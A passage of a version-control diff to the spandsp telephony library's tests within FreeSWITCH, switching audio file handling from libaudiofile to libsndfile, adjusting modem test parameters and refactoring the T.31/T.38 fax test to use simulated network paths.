+#then
+#    echo v22bis_tests failed!
+#    exit $RETVAL
+#fi
 #echo v22bis_tests completed OK
 echo v22bis_tests not enabled
 
-./v27ter_tests -s -42 2400 >$STDOUT_DEST 2>$STDERR_DEST
+./v27ter_tests -b 4800 -s -42 -n -57 >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
 if [ $RETVAL != 0 ]
 then
     echo v27ter_tests failed!
     exit $RETVAL
 fi
-./v27ter_tests -s -42 4800 >$STDOUT_DEST 2>$STDERR_DEST
+./v27ter_tests -b 2400 -s -42 -n -51 >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
 if [ $RETVAL != 0 ]
 then
@@ -721,21 +749,21 @@
 fi
 echo v27ter_tests completed OK
 
-./v29_tests -s -42 4800 >$STDOUT_DEST 2>$STDERR_DEST
+./v29_tests -b 9600 -s -42 -n -62 >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
 if [ $RETVAL != 0 ]
 then
     echo v29_tests failed!
     exit $RETVAL
 fi
-./v29_tests -s -42 7200 >$STDOUT_DEST 2>$STDERR_DEST
+./v29_tests -b 7200 -s -42 -n -58 >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
 if [ $RETVAL != 0 ]
 then
     echo v29_tests failed!
     exit $RETVAL
 fi
-./v29_tests -s -42 9600 >$STDOUT_DEST 2>$STDERR_DEST
+./v29_tests -b 4800 -s -42 -n -54 >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
 if [ $RETVAL != 0 ]
 then
@@ -772,6 +800,15 @@
 fi
 echo v8_tests completed OK
 
+./v18_tests >$STDOUT_DEST 2>$STDERR_DEST
+RETVAL=$?
+if [ $RETVAL != 0 ]
+then
+    echo v18_tests failed!
+    exit $RETVAL
+fi
+echo v18_tests completed OK
+
 ./vector_float_tests >$STDOUT_DEST 2>$STDERR_DEST
 RETVAL=$?
 if [ $RETVAL != 0 ]

Modified: freeswitch/branches/seven/libs/spandsp/tests/rfc2198_sim_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/rfc2198_sim_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/rfc2198_sim_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -24,7 +24,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: rfc2198_sim_tests.c,v 1.5 2008/05/13 13:17:26 steveu Exp $
+ * $Id: rfc2198_sim_tests.c,v 1.7 2009/05/30 15:23:14 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -41,11 +41,15 @@
 #include <unistd.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 #if defined(HAVE_MATH_H)
 #define GEN_CONST
 #endif
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 

Modified: freeswitch/branches/seven/libs/spandsp/tests/schedule_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/schedule_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/schedule_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: schedule_tests.c,v 1.19 2008/05/13 13:17:26 steveu Exp $
+ * $Id: schedule_tests.c,v 1.20 2008/11/30 05:43:37 steveu Exp $
  */
 
 /*! \page schedule_tests_page Event scheduler tests
@@ -41,6 +41,7 @@
 #include <stdio.h>
 #include <string.h>
 
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
 #include "spandsp.h"
 
 uint64_t when1;

Modified: freeswitch/branches/seven/libs/spandsp/tests/sig_tone_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/sig_tone_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/sig_tone_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: sig_tone_tests.c,v 1.23 2008/08/16 14:59:50 steveu Exp $
+ * $Id: sig_tone_tests.c,v 1.25 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -42,8 +42,12 @@
 #include <stdlib.h>
 #include <stdio.h>
 #include <memory.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -167,7 +171,7 @@
 {
     int16_t amp[SAMPLES_PER_CHUNK];
     int16_t out_amp[2*SAMPLES_PER_CHUNK];
-    AFfilehandle outhandle;
+    SNDFILE *outhandle;
     int outframes;
     int i;
     int type;
@@ -178,9 +182,9 @@
     awgn_state_t noise_source;
     codec_munge_state_t *munge;
 
-    if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 2)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 2)) == NULL)
     {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
     /*endif*/
@@ -236,13 +240,10 @@
             for (i = 0;  i < rx_samples;  i++)
                 out_amp[2*i + 1] = amp[i];
             /*endfor*/
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      out_amp,
-                                      rx_samples);
+            outframes = sf_writef_short(outhandle, out_amp, rx_samples);
             if (outframes != rx_samples)
             {
-                fprintf(stderr, "    Error writing wave file\n");
+                fprintf(stderr, "    Error writing audio file\n");
                 exit(2);
             }
             /*endif*/
@@ -250,9 +251,9 @@
         /*endfor*/
     }
     /*endfor*/
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
     /*endif*/

Modified: freeswitch/branches/seven/libs/spandsp/tests/super_tone_rx_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/super_tone_rx_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/super_tone_rx_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: super_tone_rx_tests.c,v 1.29 2008/08/30 16:47:35 steveu Exp $
+ * $Id: super_tone_rx_tests.c,v 1.33 2009/06/02 14:55:36 steveu Exp $
  */
 
 /*! \file */
@@ -42,8 +42,7 @@
 #include <strings.h>
 #include <ctype.h>
 #include <time.h>
-#include <sys/socket.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
 #if defined(HAVE_LIBXML_XMLMEMORY_H)
 #include <libxml/xmlmemory.h>
@@ -55,7 +54,12 @@
 #include <libxml/xinclude.h>
 #endif
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
+#include "spandsp-sim.h"
 
 #define IN_FILE_NAME    "super_tone.wav"
 
@@ -76,7 +80,7 @@
 
 const char *tone_names[20] = {NULL};
 
-AFfilehandle inhandle;
+SNDFILE *inhandle;
 
 super_tone_rx_segment_t tone_segments[20][10];
 
@@ -374,26 +378,11 @@
     super_tone_rx_state_t *super;
     super_tone_rx_descriptor_t desc;
 
-    if ((inhandle = afOpenFile(IN_FILE_NAME, "r", 0)) == AF_NULL_FILEHANDLE)
+    if ((inhandle = sf_open_telephony_read(IN_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", IN_FILE_NAME);
+        fprintf(stderr, "    Cannot open audio file '%s'\n", IN_FILE_NAME);
         exit(2);
     }
-    if ((x = afGetFrameSize(inhandle, AF_DEFAULT_TRACK, 1)) != 2.0)
-    {
-        printf("    Unexpected frame size in wave file '%s'\n", IN_FILE_NAME);
-        exit(2);
-    }
-    if ((x = afGetRate(inhandle, AF_DEFAULT_TRACK)) != (float) SAMPLE_RATE)
-    {
-        printf("    Unexpected sample rate in wave file '%s'\n", IN_FILE_NAME);
-        exit(2);
-    }
-    if ((x = afGetChannels(inhandle, AF_DEFAULT_TRACK)) != 1.0)
-    {
-        printf("    Unexpected number of channels in wave file '%s'\n", IN_FILE_NAME);
-        exit(2);
-    }
     super_tone_rx_make_descriptor(&desc);
 #if defined(HAVE_LIBXML2)
     get_tone_set(&desc, "../spandsp/global-tones.xml", (argc > 1)  ?  argv[1]  :  "hk");
@@ -407,7 +396,7 @@
     super_tone_rx_segment_callback(super, tone_segment);
     awgn_init_dbm0(&noise_source, 1234567, -30.0f);
     printf("Processing file\n");
-    while ((frames = afReadFrames(inhandle, AF_DEFAULT_TRACK, amp, 8000)))
+    while ((frames = sf_readf_short(inhandle, amp, 8000)))
     {
         /* Add some noise to the signal for a more meaningful test. */
         //for (sample = 0;  sample < frames;  sample++)
@@ -418,7 +407,7 @@
             sample += x;
         }
     }
-    if (afCloseFile(inhandle))
+    if (sf_close(inhandle))
     {
         fprintf(stderr, "    Cannot close audio file '%s'\n", IN_FILE_NAME);
         exit(2);
@@ -427,35 +416,20 @@
     /* Test for voice immunity */
     for (j = 0;  bellcore_files[j][0];  j++)
     {
-        if ((inhandle = afOpenFile(bellcore_files[j], "r", 0)) == AF_NULL_FILEHANDLE)
+        if ((inhandle = sf_open_telephony_read(bellcore_files[j], 1)) == NULL)
         {
-            printf("    Cannot open wave file '%s'\n", bellcore_files[j]);
+            printf("    Cannot open audio file '%s'\n", bellcore_files[j]);
             exit(2);
         }
-        if ((x = afGetFrameSize(inhandle, AF_DEFAULT_TRACK, 1)) != 2.0)
+        while ((frames = sf_readf_short(inhandle, amp, 8000)))
         {
-            printf("    Unexpected frame size in wave file '%s'\n", bellcore_files[j]);
-            exit(2);
-        }
-        if ((x = afGetRate(inhandle, AF_DEFAULT_TRACK)) != (float) SAMPLE_RATE)
-        {
-            printf("    Unexpected sample rate in wave file '%s'\n", bellcore_files[j]);
-            exit(2);
-        }
-        if ((x = afGetChannels(inhandle, AF_DEFAULT_TRACK)) != 1.0)
-        {
-            printf("    Unexpected number of channels in wave file '%s'\n", bellcore_files[j]);
-            exit(2);
-        }
-        while ((frames = afReadFrames(inhandle, AF_DEFAULT_TRACK, amp, 8000)))
-        {
             for (sample = 0;  sample < frames;  )
             {
                 x = super_tone_rx(super, amp + sample, frames - sample);
                 sample += x;
             }
     	}
-        if (afCloseFile(inhandle) != 0)
+        if (sf_close(inhandle) != 0)
     	{
     	    printf("    Cannot close speech file '%s'\n", bellcore_files[j]);
             exit(2);

Modified: freeswitch/branches/seven/libs/spandsp/tests/super_tone_tx_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/super_tone_tx_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/super_tone_tx_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: super_tone_tx_tests.c,v 1.23 2008/08/16 15:24:16 steveu Exp $
+ * $Id: super_tone_tx_tests.c,v 1.26 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -44,7 +44,7 @@
 #include <time.h>
 #include <inttypes.h>
 #include <sys/socket.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
 #if defined(HAVE_LIBXML_XMLMEMORY_H)
 #include <libxml/xmlmemory.h>
@@ -56,12 +56,16 @@
 #include <libxml/xinclude.h>
 #endif
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
 #define OUT_FILE_NAME   "super_tone.wav"
 
-AFfilehandle outhandle;
+SNDFILE *outhandle;
 
 super_tone_tx_step_t *tone_tree = NULL;
 
@@ -78,13 +82,10 @@
     do
     {
         len = super_tone_tx(tone, amp, 160);
-        outframes = afWriteFrames(outhandle,
-                                  AF_DEFAULT_TRACK,
-                                  amp,
-                                  len);
+        outframes = sf_writef_short(outhandle, amp, len);
         if (outframes != len)
         {
-            fprintf(stderr, "    Error writing wave file\n");
+            fprintf(stderr, "    Error writing audio file\n");
             exit(2);
         }
         total_length += len;
@@ -198,7 +199,7 @@
             super_tone_tx_init(&tone, tone_tree);
 //printf("Len %p %p %d %d\n", (void *) tone.levels[0], (void *) tone_tree, tone_tree->length, tone_tree->tone);
             play_tones(&tone, 99999999);
-            super_tone_tx_free(tone_tree);
+            super_tone_tx_free_tone(tone_tree);
         }
         /*endif*/
         cur = cur->next;
@@ -282,7 +283,7 @@
 
 int main(int argc, char *argv[])
 {
-    if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
     {
         fprintf(stderr, "    Cannot open audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
@@ -290,7 +291,7 @@
 #if defined(HAVE_LIBXML2)
     get_tone_set("../spandsp/global-tones.xml", (argc > 1)  ?  argv[1]  :  "hk");
 #endif
-    if (afCloseFile (outhandle) != 0)
+    if (sf_close (outhandle) != 0)
     {
         fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
         exit(2);

Modified: freeswitch/branches/seven/libs/spandsp/tests/t31_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/t31_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/t31_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t31_tests.c,v 1.63 2008/09/13 14:32:53 steveu Exp $
+ * $Id: t31_tests.c,v 1.72 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \file */
@@ -31,6 +31,9 @@
 \section t31_tests_page_sec_1 What does it do?
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include "config.h"
 #endif
@@ -45,8 +48,12 @@
 #include <unistd.h>
 #include <string.h>
 #include <assert.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp/t30_fcf.h"
 #include "spandsp-sim.h"
@@ -54,14 +61,18 @@
 #if defined(ENABLE_GUI)
 #include "media_monitor.h"
 #endif
+#include "fax_utils.h"
 
 #define INPUT_FILE_NAME         "../test-data/itu/fax/itu1.tif"
 #define OUTPUT_FILE_NAME        "t31.tif"
 #define OUTPUT_WAVE_FILE_NAME   "t31_tests.wav"
 
-#define DLE 0x10
-#define ETX 0x03
-#define SUB 0x1A
+enum
+{
+    ETX = 0x03,
+    DLE = 0x10,
+    SUB = 0x1A
+};
 
 #define MANUFACTURER            "www.soft-switch.org"
 
@@ -84,6 +95,7 @@
 #define RESPONSE(b) {"", 0, b, sizeof(b) - 1}
 #define FAST_RESPONSE(b) {NULL, -1, b, sizeof(b) - 1}
 #define FAST_SEND(b) {(const char *) 1, -2, b, sizeof(b) - 1}
+#define FAST_SEND_TCF(b) {(const char *) 2, -2, b, sizeof(b) - 1}
 
 static const struct command_response_s fax_send_test_seq[] =
 {
@@ -99,7 +111,8 @@
     RESPONSE("\r\nOK\r\n"),
     EXCHANGE("AT+FRH=3\r", "\r\nCONNECT\r\n"),
     //<DIS frame data>
-    RESPONSE("\xFF\x13\x80\x00\xEE\xF8\x80\x80\x91\x80\x80\x80\x18\x78\x57\x10\x03"),
+    RESPONSE("\xFF\x13\x80\x00\xEE\xF8\x80\x80\x91\x80\x80\x80\x18\x78\x57\x10\x03"), // For audio FAXing
+    //RESPONSE("\xFF\x13\x80\x04\xEE\xF8\x80\x80\x91\x80\x80\x80\x18\xE4\xE7\x10\x03"),   // For T.38 FAXing
     RESPONSE("\r\nOK\r\n"),
     //EXCHANGE("AT+FRH=3\r", "\r\nNO CARRIER\r\n"),
     EXCHANGE("AT+FTH=3\r", "\r\nCONNECT\r\n"),
@@ -113,7 +126,7 @@
     EXCHANGE("AT+FTS=8\r", "\r\nOK\r\n"),
     EXCHANGE("AT+FTM=96\r", "\r\nCONNECT\r\n"),
     //<TCF data pattern>
-    FAST_SEND("\r\nOK\r\n"),
+    FAST_SEND_TCF("\r\nOK\r\n"),
     EXCHANGE("AT+FRH=3\r", "\r\nCONNECT\r\n"),
     //<CFR frame data>
     RESPONSE("\xFF\x13\x84\xEA\x7D\x10\x03"),
@@ -193,14 +206,17 @@
 
 int test_seq_ptr = 0;
 
-t31_state_t t31_state;
+t31_state_t *t31_state;
 
 static int phase_b_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    
-    i = (intptr_t) user_data;
-    printf("Phase B handler on channel %d - (0x%X) %s\n", i, result, t30_frametype(result));
+    char tag[20];
+
+    i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase B:", i);
+    printf("%c: Phase B handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
+    log_rx_parameters(s, tag);
     return T30_ERR_OK;
 }
 /*- End of function --------------------------------------------------------*/
@@ -208,26 +224,14 @@
 static int phase_d_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
-    t30_stats_t t;
-    const char *u;
+    char tag[20];
 
     i = (int) (intptr_t) user_data;
+    snprintf(tag, sizeof(tag), "%c: Phase D:", i);
     printf("%c: Phase D handler on channel %c - (0x%X) %s\n", i, i, result, t30_frametype(result));
-    t30_get_transfer_statistics(s, &t);
-    printf("%c: Phase D: bit rate %d\n", i, t.bit_rate);
-    printf("%c: Phase D: ECM %s\n", i, (t.error_correcting_mode)  ?  "on"  :  "off");
-    printf("%c: Phase D: pages transferred %d\n", i, t.pages_transferred);
-    printf("%c: Phase D: image size %d x %d\n", i, t.width, t.length);
-    printf("%c: Phase D: image resolution %d x %d\n", i, t.x_resolution, t.y_resolution);
-    printf("%c: Phase D: bad rows %d\n", i, t.bad_rows);
-    printf("%c: Phase D: longest bad row run %d\n", i, t.longest_bad_row_run);
-    printf("%c: Phase D: coding method %s\n", i, t4_encoding_to_str(t.encoding));
-    printf("%c: Phase D: image size %d\n", i, t.image_size);
-    if ((u = t30_get_tx_ident(s)))
-        printf("%d: Phase D: local ident '%s'\n", i, u);
-    if ((u = t30_get_rx_ident(s)))
-        printf("%d: Phase D: remote ident '%s'\n", i, u);
-    printf("%c: Phase D: bits per row - min %d, max %d\n", i, s->t4.min_row_bits, s->t4.max_row_bits);
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
     return T30_ERR_OK;
 }
 /*- End of function --------------------------------------------------------*/
@@ -235,9 +239,14 @@
 static void phase_e_handler(t30_state_t *s, void *user_data, int result)
 {
     int i;
+    char tag[20];
     
     i = (intptr_t) user_data;
-    printf("Phase E handler on channel %d\n", i);
+    snprintf(tag, sizeof(tag), "%c: Phase E:", i);
+    printf("Phase E handler on channel %c\n", i);
+    log_transfer_statistics(s, tag);
+    log_tx_parameters(s, tag);
+    log_rx_parameters(s, tag);
     //exit(0);
 }
 /*- End of function --------------------------------------------------------*/
@@ -252,7 +261,7 @@
         break;
     case AT_MODEM_CONTROL_CALL:
         printf("\nModem control - Dialing '%s'\n", num);
-        t31_call_event(&t31_state, AT_CALL_EVENT_CONNECTED);
+        t31_call_event(t31_state, AT_CALL_EVENT_CONNECTED);
         break;
     case AT_MODEM_CONTROL_HANGUP:
         printf("\nModem control - Hanging up\n");
@@ -354,13 +363,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static int tx_packet_handler(t38_core_state_t *s, void *user_data, const uint8_t *buf, int len, int count)
+static int t38_tx_packet_handler(t38_core_state_t *s, void *user_data, const uint8_t *buf, int len, int count)
 {
-    t38_terminal_state_t *t;
+    t31_state_t *t;
     int i;
 
     /* This routine queues messages between two instances of T.38 processing */
-    t = (t38_terminal_state_t *) user_data;
+    t = (t31_state_t *) user_data;
     span_log(&s->logging, SPAN_LOG_FLOW, "Send seq %d, len %d, count %d\n", s->tx_seq_no, len, count);
 
     for (i = 0;  i < count;  i++)
@@ -372,47 +381,130 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-static int t38_tests(int use_gui, int test_sending)
+static int t31_tx_packet_handler(t38_core_state_t *s, void *user_data, const uint8_t *buf, int len, int count)
 {
-    t38_terminal_state_t t38_state;
+    //t38_terminal_state_t *t;
+    int i;
+
+    /* This routine queues messages between two instances of T.38 processing */
+    //t = (t38_terminal_state_t *) user_data;
+    span_log(&s->logging, SPAN_LOG_FLOW, "Send seq %d, len %d, count %d\n", s->tx_seq_no, len, count);
+
+    for (i = 0;  i < count;  i++)
+    {
+        if (g1050_put(path_b_to_a, buf, len, s->tx_seq_no, when) < 0)
+            printf("Lost packet %d\n", s->tx_seq_no);
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+static int t38_tests(int use_gui, int test_sending, int model_no, int speed_pattern_no)
+{
+    t38_terminal_state_t *t38_state;
     int fast_send;
+    int fast_send_tcf;
     int fast_blocks;
     uint8_t fast_buf[1000];
+    int msg_len;
+    uint8_t msg[1024];
+    int t38_version;
+    int without_pacing;
+    int use_tep;
+    int seq_no;
+    double tx_when;
+    double rx_when;
     t30_state_t *t30;
+    t38_core_state_t *t38_core;
+    logging_state_t *logging;
+    int i;
 
-    if (t31_init(&t31_state, at_tx_handler, NULL, modem_call_control, NULL, NULL, NULL) == NULL)
+    t38_version = 1;
+    without_pacing = FALSE;
+    use_tep = FALSE;
+
+    srand48(0x1234567);
+    if ((path_a_to_b = g1050_init(model_no, speed_pattern_no, 100, 33)) == NULL)
     {
-        fprintf(stderr, "    Cannot start the T.31 FAX modem\n");
+        fprintf(stderr, "Failed to start IP network path model\n");
         exit(2);
     }
-    span_log_set_level(&t31_state.logging, SPAN_LOG_SHOW_SEVERITY | SPAN_LOG_SHOW_PROTOCOL | SPAN_LOG_SHOW_TAG | SPAN_LOG_FLOW);
-    span_log_set_tag(&t31_state.logging, "T.31");
+    if ((path_b_to_a = g1050_init(model_no, speed_pattern_no, 100, 33)) == NULL)
+    {
+        fprintf(stderr, "Failed to start IP network path model\n");
+        exit(2);
+    }
+    if ((t31_state = t31_init(NULL, at_tx_handler, NULL, modem_call_control, NULL, t31_tx_packet_handler, NULL)) == NULL)
+    {
+        fprintf(stderr, "    Cannot start the T.31 T.38 modem\n");
+        exit(2);
+    }
+    logging = t31_get_logging_state(t31_state);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.31");
 
+    t38_core = t31_get_t38_core_state(t31_state);
+    span_log_set_level(&t38_core->logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(&t38_core->logging, "T.31");
 
-    if (t38_terminal_init(&t38_state, TRUE, tx_packet_handler, &t31_state) == NULL)
+    span_log_set_level(&t31_state->at_state.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(&t31_state->at_state.logging, "T.31");
+
+    t31_set_mode(t31_state, TRUE);
+    t38_set_t38_version(t38_core, t38_version);
+
+    if (test_sending)
     {
-        fprintf(stderr, "Cannot start the T.38 channel\n");
-        exit(2);
+        if ((t38_state = t38_terminal_init(NULL, FALSE, t38_tx_packet_handler, t31_state)) == NULL)
+        {
+            fprintf(stderr, "Cannot start the T.38 channel\n");
+            exit(2);
+        }
+        t30 = t38_terminal_get_t30_state(t38_state);
+        t30_set_rx_file(t30, OUTPUT_FILE_NAME, -1);
+        fax_test_seq = fax_send_test_seq;
+        countdown = 0;
     }
-    t30 = t38_terminal_get_t30_state(&t38_state);
-    span_log_set_level(&t38_state.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state.logging, "T.38");
-    span_log_set_level(&t38_state.t38_fe.t38.logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t38_state.t38_fe.t38.logging, "T.38-A");
-    span_log_set_level(&t30->logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
-    span_log_set_tag(&t30->logging, "T.38");
+    else
+    {
+        if ((t38_state = t38_terminal_init(NULL, TRUE, t38_tx_packet_handler, t31_state)) == NULL)
+        {
+            fprintf(stderr, "Cannot start the T.38 channel\n");
+            exit(2);
+        }
+        t30 = t38_terminal_get_t30_state(t38_state);
+        t30_set_tx_file(t30, INPUT_FILE_NAME, -1, -1);
+        fax_test_seq = fax_receive_test_seq;
+        countdown = 250;
+    }
 
+    t30 = t38_terminal_get_t30_state(t38_state);
+    t38_core = t38_terminal_get_t38_core_state(t38_state);
+    t38_set_t38_version(t38_core, t38_version);
+    t38_terminal_set_config(t38_state, without_pacing);
+    t38_terminal_set_tep_mode(t38_state, use_tep);
+
     t30_set_tx_ident(t30, "11111111");
-    t30_set_tx_nsf(t30, (const uint8_t *) "\x50\x00\x00\x00Spandsp\x00", 12);
-    t30_set_tx_file(t30, INPUT_FILE_NAME, -1, -1);
-    t30_set_phase_b_handler(t30, phase_b_handler, (void *) (intptr_t) 'A');
-    t30_set_phase_d_handler(t30, phase_d_handler, (void *) (intptr_t) 'A');
-    t30_set_phase_e_handler(t30, phase_e_handler, (void *) (intptr_t) 'A');
-    //t30_set_ecm_capability(t30, use_ecm);
-    //if (use_ecm)
-    //    t30_set_supported_compressions(t30, T30_SUPPORT_T4_1D_COMPRESSION | T30_SUPPORT_T4_2D_COMPRESSION | T30_SUPPORT_T6_COMPRESSION);
+    t30_set_supported_modems(t30, T30_SUPPORT_V27TER | T30_SUPPORT_V29 | T30_SUPPORT_V17);
+    //t30_set_tx_nsf(t30, (const uint8_t *) "\x50\x00\x00\x00Spandsp\x00", 12);
+    t30_set_phase_b_handler(t30, phase_b_handler, (void *) 'A');
+    t30_set_phase_d_handler(t30, phase_d_handler, (void *) 'A');
+    t30_set_phase_e_handler(t30, phase_e_handler, (void *) 'A');
 
+    logging = t38_terminal_get_logging_state(t38_state);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38");
+
+    t38_core = t38_terminal_get_t38_core_state(t38_state);
+    span_log_set_level(&t38_core->logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(&t38_core->logging, "T.38");
+
+    logging = t30_get_logging_state(t30);
+    span_log_set_level(logging, SPAN_LOG_DEBUG | SPAN_LOG_SHOW_TAG | SPAN_LOG_SHOW_SAMPLE_TIME);
+    span_log_set_tag(logging, "T.38");
+
     fast_send = FALSE;
+    fast_send_tcf = TRUE;
     fast_blocks = 0;
     kick = TRUE;
 #if defined(ENABLE_GUI)
@@ -421,28 +513,86 @@
 #endif
     while (!done)
     {
+        logging = t38_terminal_get_logging_state(t38_state);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t38_core = t38_terminal_get_t38_core_state(t38_state);
+        logging = t38_core_get_logging_state(t38_core);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t30 = t38_terminal_get_t30_state(t38_state);
+        logging = t30_get_logging_state(t30);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+
+        logging = t31_get_logging_state(t31_state);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        t38_core = t31_get_t38_core_state(t31_state);
+        logging = t38_core_get_logging_state(t38_core);
+        span_log_bump_samples(logging, SAMPLES_PER_CHUNK);
+        span_log_bump_samples(&t31_state->at_state.logging, SAMPLES_PER_CHUNK);
+
+        t38_terminal_send_timeout(t38_state, SAMPLES_PER_CHUNK);
+        t31_t38_send_timeout(t31_state, SAMPLES_PER_CHUNK);
+
+        when += (float) SAMPLES_PER_CHUNK/(float) SAMPLE_RATE;
+
         if (kick)
         {
             kick = FALSE;
-            if (fax_test_seq[test_seq_ptr].command > (const char *) 1)
+            if (fax_test_seq[test_seq_ptr].command > (const char *) 2)
             {
                 if (fax_test_seq[test_seq_ptr].command[0])
                 {
                     printf("%s\n", fax_test_seq[test_seq_ptr].command);
